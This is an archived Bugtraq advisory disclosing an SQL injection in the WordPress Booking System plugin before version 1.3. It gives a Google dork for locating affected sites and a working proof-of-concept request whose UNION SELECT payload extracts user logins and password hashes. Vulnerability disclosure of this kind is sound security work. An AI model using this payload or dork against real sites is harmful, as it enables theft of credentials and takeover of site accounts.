bugtraq - Wordpress Booking System (Booking Calendar) plugin SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 21 May 2014 14:03:11 +0800
From: info sec <omgpdrv@...il.com>
To: bugtraq <bugtraq@...urityfocus.com>
Subject: Wordpress Booking System (Booking Calendar) plugin SQL Injection

# Exploit Title: Wordpress Booking System (Booking Calendar) plugin
SQL Injection
# Release Date: 2014-05-21
# Author: maodun
# Contact: Twitter: @conmancm
# Software Link: http://wordpress.org/support/plugin/booking-system
# Affected version: < 1.3
# Google Dork: inurl:/wp-content/plugins/booking-system/
# REF:CVE-2014-3210
-----------------------------------------------------------------------------------------------------------------
# Introduction:
Booking System is great for booking hotel rooms, apartments, houses,
villas, rooms etc, make appointments to doctors, dentists, lawyers,
beauty salons, spas, massage therapists etc or schedule events.
-------------------------------------------------------------------------------------------------------------------------
# SQLi - Proof Of Concept:
vulnerable path:
/wp-content/plugins/booking-system/dopbs-backend-forms.php

vulnerabile parameter:$_POST['booking_form_id']

POC:

POST /wp/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 149
Cookie: [your cookie]

action=dopbs_show_booking_form_fields&booking_form_id=100 union select
1,2,3,4,5,6,7,8,9,hex(concat(user_login,user_pass)) from
wp_users#&language=cr

response:
<input type="hidden" name="booking-form-field-translation-1"
id="booking-form-field-translation-1" value="[hex value here]" />

-------------------------------------------------------------------------------------------------------------------------
# Patch:
-- Vendor was notified on the 2014-05-05
-- Vendor released version 1.3 on 2014-05-06 Fixed the bug
-------------------------------------------------------------------------------------------------------------------------